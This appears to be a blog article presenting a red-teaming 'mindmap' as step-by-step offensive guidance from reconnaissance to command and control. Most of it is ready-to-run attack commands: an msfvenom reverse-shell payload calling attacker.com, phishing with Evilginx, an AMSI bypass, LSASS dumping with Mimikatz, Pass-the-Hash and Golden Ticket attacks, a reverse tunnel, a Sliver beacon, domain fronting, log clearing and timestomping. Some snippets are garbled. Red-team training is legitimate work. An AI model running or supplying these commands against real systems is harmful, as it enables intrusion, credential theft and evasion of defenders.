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Introduction
Red teaming goes beyond standard penetration testing—it simulates real-world adversaries to test an organization’s detection, response, and resilience. The Red Teaming Mindmap provides a structured visual guide covering the entire offensive security lifecycle, from initial access and credential theft to lateral movement and full domain compromise, incorporating frameworks like MITRE ATT&CK and the Cyber Kill Chain.
Learning Objectives
- Map the complete red team attack lifecycle, from reconnaissance to exfiltration, using industry-standard tools and TTPs.
- Execute key offensive techniques including Kerberoasting, Pass-the-Hash, and Active Directory privilege escalation with verified commands.
- Operationalize MITRE ATT&CK mappings and adversary emulation plans for realistic security assessments.
You Should Know
- Reconnaissance & Active Scanning – Building Your Target Footprint
Effective red teaming starts with passive and active reconnaissance. Passive OSINT uses Shodan, Maltego, and the Wayback Machine to discover exposed assets. Active scanning employs Nmap, Masscan, and Nuclei to identify live hosts, open ports, and vulnerabilities.
Step‑by‑Step Guide:
- Passive OSINT: Use `theHarvester` to gather emails and subdomains:
theHarvester -d target.com -b google,linkedin
2. Subdomain Enumeration with Amass:
amass enum -passive -d target.com -o subdomains.txt
3. Active Port Scanning with Nmap:
nmap -sS -sV -p- -T4 -oA scan_results target_ip
4. Web Vulnerability Scanning with Nuclei:
nuclei -u https://target.com -t cves/ -o nuclei_findings.txt
5. Cloud Discovery using ScoutSuite for AWS/Azure misconfigurations:
scoutsuite aws --report-dir ./scout-report
2. Initial Access – Phishing & Weaponized Payloads
Gaining a foothold often relies on phishing (GoPhish, Evilginx) or exploiting public-facing apps. Craft a convincing lure, set up a C2 redirector, and deliver a payload that evades email gateways.
Step‑by‑Step Guide (Linux):
- Clone a legitimate login page with Evilginx for credential harvesting:
sudo evilginx -p phishlets/office365/
- Generate an obfuscated payload using MSFVenom (AV evasion):
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=attacker.com LPORT=443 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
3. Set up a GoPhish campaign:
sudo ./gophish Access web UI at https://localhost:3333
4. Bypass AMSI using PowerShell reflection (Windows target):
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
3. Credential Access – Kerberoasting & Dumping Hashes
Once inside, extract credentials via Kerberoasting (targeting service accounts) or LSASS dumping. Use Impacket and Mimikatz on Windows or Linux attack hosts.
Step‑by‑Step Guide (Linux with Impacket):
1. Kerberoast from Linux:
GetUserSPNs.py -request -dc-ip 192.168.1.10 domain.com/username:password -outputfile kerberoast_hashes.txt
2. Crack hashes with Hashcat (mode 13100 for Kerberoast):
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt -O
3. Dump LSASS on Windows (requires admin):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full
4. Extract secrets from the dump using Mimikatz (Windows):
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit
5. Pass‑the‑Hash with Impacket:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NT_hash domain/user@target_ip
- Privilege Escalation – Active Directory Abuse & Token Impersonation
Elevate from a standard user to Domain Admin using BloodHound to identify attack paths, then abuse misconfigurations like Unquoted Service Paths or SeImpersonate privileges.
Step‑by‑Step Guide (Windows + BloodHound):
1. Collect AD data using SharpHound:
.\SharpHound.exe -c All --outputdirectory C:\temp\
2. Import the zip into BloodHound (Neo4j backend) and query:
MATCH p = (u:User)-[:MemberOf1..]->(g:Group) WHERE g.name = "DOMAIN ADMINS" RETURN p
3. Exploit SeImpersonate privilege with PrintSpoofer:
PrintSpoofer64.exe -i -c cmd.exe
4. Abuse unquoted service paths (Windows):
sc qc "VulnerableService" Check binary path Place malicious exe in C:\Program.exe
5. Golden Ticket attack with Mimikatz (requires krbtgt hash):
kerberos::golden /domain:domain.com /sid:S-1-5-21... /krbtgt:hash /user:admin /id:500 /ptt
- Lateral Movement & Pivoting – Spreading Through the Network
Move laterally using WMI, WinRM, PsExec, or RDP hijacking. Tunneling tools like Chisel and Ligolo help pivot across segmented networks.
Step‑by‑Step Guide (Linux + Impacket):
1. Lateral move via WMI:
wmiexec.py domain/user:password@target_ip -hashes LM:NT
2. Set up a SOCKS tunnel with Chisel:
Attacker: chisel server -p 8000 --reverse Victim: chisel client attacker:8000 R:socks
3. Proxy traffic through the tunnel using proxychains:
proxychains nmap -sT -Pn internal_ip -p 445
4. RDP hijacking (Windows, SYSTEM privileges):
query user Identify session ID tscon.exe <ID> /dest:console
5. Cloud pivoting – assume AWS roles using stolen keys:
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name pivot
- Command & Control (C2) – Maintaining Stealthy Presence
Deploy a C2 framework like Cobalt Strike (commercial) or open‑source Sliver/Mythic. Use domain fronting, HTTPS beacons, and malleable profiles to evade detection.
Step‑by‑Step Guide (Sliver – Open Source):
1. Start Sliver server on attacker machine:
sliver-server
2. Generate an HTTPS beacon:
generate --mtls attacker.com --save beacon.exe
3. Configure redirector (Nginx + Let’s Encrypt) for domain fronting:
server { listen 443 ssl; server_name cdn.cloudflare.com; location / { proxy_pass https://real-c2-server.com; } }
4. Execute beacon on target and interact:
use beacon-<id> then run commands like ls, upload, shell
5. Malleable C2 profile (example jitter settings):
beacon: { jitter: 15, interval: 60 } random delays
- Defense Evasion & OPSEC – Living Off the Land
Avoid EDR triggers by using LOLBins (LOLBAS on Windows, GTFOBins on Linux), obfuscating scripts, and clearing logs. Disable Windows Defender via AMSI bypass or tamper with EDR hooks.
Step‑by‑Step Guide:
1. Execute commands via rundll32 (Windows):
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe");
2. Obfuscate PowerShell with Invoke-Obfuscation:
Invoke-Obfuscation -ScriptBlock { Start-Process payload.exe } -ObfuscateTokens -Output out.ps1
3. Clear event logs (Windows):
wevtutil cl System; wevtutil cl Security; wevtutil cl Application
4. Timestomping on Linux to hide file modification:
touch -r /bin/ls malicious_script.sh
5. Unhook EDR user‑land callbacks using Native API (advanced):
// Reinstall fresh ntdll.dll from known good copy
What Undercode Say
- Key Takeaway 1: The Red Teaming Mindmap is not just a checklist—it’s a strategic framework that integrates MITRE ATT&CK tactics, cloud security, and adversary emulation. Mastering the phases (recon → exploitation → persistence → reporting) transforms a penetration tester into a true red team operator.
- Key Takeaway 2: Operational security (OPSEC) and detection evasion are as critical as exploitation. Modern red teams must combine living‑off‑the-land techniques (LOLBins, GTFOBins) with custom C2 profiles and cloud‑aware pivoting to simulate realistic, advanced persistent threats without alerting SOCs.
The provided mindmap resources from Ignitetechnologies (GitHub: `https://github.com/Ignitetechnologies/Mindmap`) and Hacking Articles offer a live, community‑updated repository of techniques. For training, consider the PTES standard, OWASP WSTG, or cloud‑specific courses (e.g., AWS Certified Security – Specialty). The shift toward purple teaming—integrating detection engineering feedback—makes this roadmap invaluable for both attackers and defenders.
Prediction
Within 24 months, red teaming will pivot heavily toward AI‑driven attack simulation (e.g., LLM‑generated phishing lures, automated exploit chaining) and cloud‑native adversary emulation (container escape, serverless function abuse). Traditional C2 frameworks will evolve to embed AI‑based evasion that modifies beacons in real time based on EDR telemetry. Organizations will adopt “continuous red teaming” as a service, merging with breach and attack simulation (BAS) platforms. The mindmap’s future iterations will include dedicated AI/LLM red teaming (prompt injection, model data exfiltration) and extended reality (XR) attack surfaces—making offensive security an always‑on, autonomous discipline.
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Reported By: Priombiswas Infosec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
